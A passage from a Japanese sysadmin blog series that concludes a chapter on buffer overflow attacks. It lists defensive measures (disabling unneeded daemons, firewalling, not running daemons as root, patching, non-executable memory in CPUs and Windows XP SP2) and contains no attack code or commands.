  と決めセリフを言ったりする。見事に決まった (^^)V


  ようやくバッファオーバーフロー攻撃の原理と危険性が理解できた (^^)V

  さて攻撃の手口がわかったら、それなりの対策を立てる事ができる。
  そこで、対策法を考えてみた。


バッファオーバーフロー攻撃への対策 バッファオーバーフロー攻撃への対策ですが、以下の事が挙げられます。
バッファオーバーフロー攻撃への対策
(1) 不要なデーモンは立ち上げない
(2) デーモンが必要な場合は、ファイヤウォールなどで外部からの接続は
不可能にしておく。
(3)
外部からの接続を認める場合は、デーモンはroot権限(管理者権限)で動かさない。
(4) セキュリティーホールが発見されたらバージョンアップ

  上の4つの点だけだと、対処療法的な側面は払拭できない。
  危ないという前提で、対策を立てているからだ。

  だが、根本的に解消しようという動きもあります。
  1つは、CPUにバッファオーバーフロー攻撃防止機能を持たせる事です。
  プログラムを実行させた時に、確保されるメモリ空間は、
プログラム領域、ヒープ領域、スタック領域がありますが、
ヒープ領域、スタック領域にある、実行コードを実行しようとしても、
実行できなくする仕組みです。
  2005年11月6日の時点では、AMDのAthlon64/Opteronプロセッサ、
もしくはItaniumプロセッサでのみ利用できるという。


  もう1つはOS側で阻止しようという方法です。
  WindowsXP(SP2)では、バーーファオーバーフロー攻撃で送り込まれた
不正コードを実行しないような措置が取られています。
  http://www.atmarkit.co.jp/fwin2k/operation/xpsp2/xpsp2_007.html


  早い時期に、OSやCPUレベルで、バッファオーバーフロー攻撃の
根本的な解決ができる日が来る事を待ち望む今日この頃。

システムコールの脆弱性について  root権限で動いている物にシェルコードを送る手口を書きましたが それ以外にもシステムコールの脆弱性を突いた手口もあります。  詳しくは「システム奮闘記:その46」(CPUの特権レベルの話)で 原理を書いています。
まとめ バッファオーバーフロー攻撃によるroot権限の奪取の話。 今まで、rootのパスワードを解読しないと、rootになれないと 思い込んでいただけに、パスワード破りばかり目がいっていましたが、 今回の勉強で、パスワードなんて知らなくても、root権限が奪える事を知りました。 それにしても、「百聞は一見にしかず」で、攻撃の仕組みを理解したり、 攻撃を実際に体験しないと、その恐ろしさが実感として湧かない事も事実ですし、 対策方法も立てられないのも事実です。 システム管理者でも、OSやメモリの知識などが必要だという事を 痛感する今日この頃。

次章:「C言語のソケット(socket)でネットワークプログラムを読む
前章:「Linux版ウイルスフィルターの導入を読む
目次:Linux、オープンソースで「システム奮闘記」に戻る

Tweet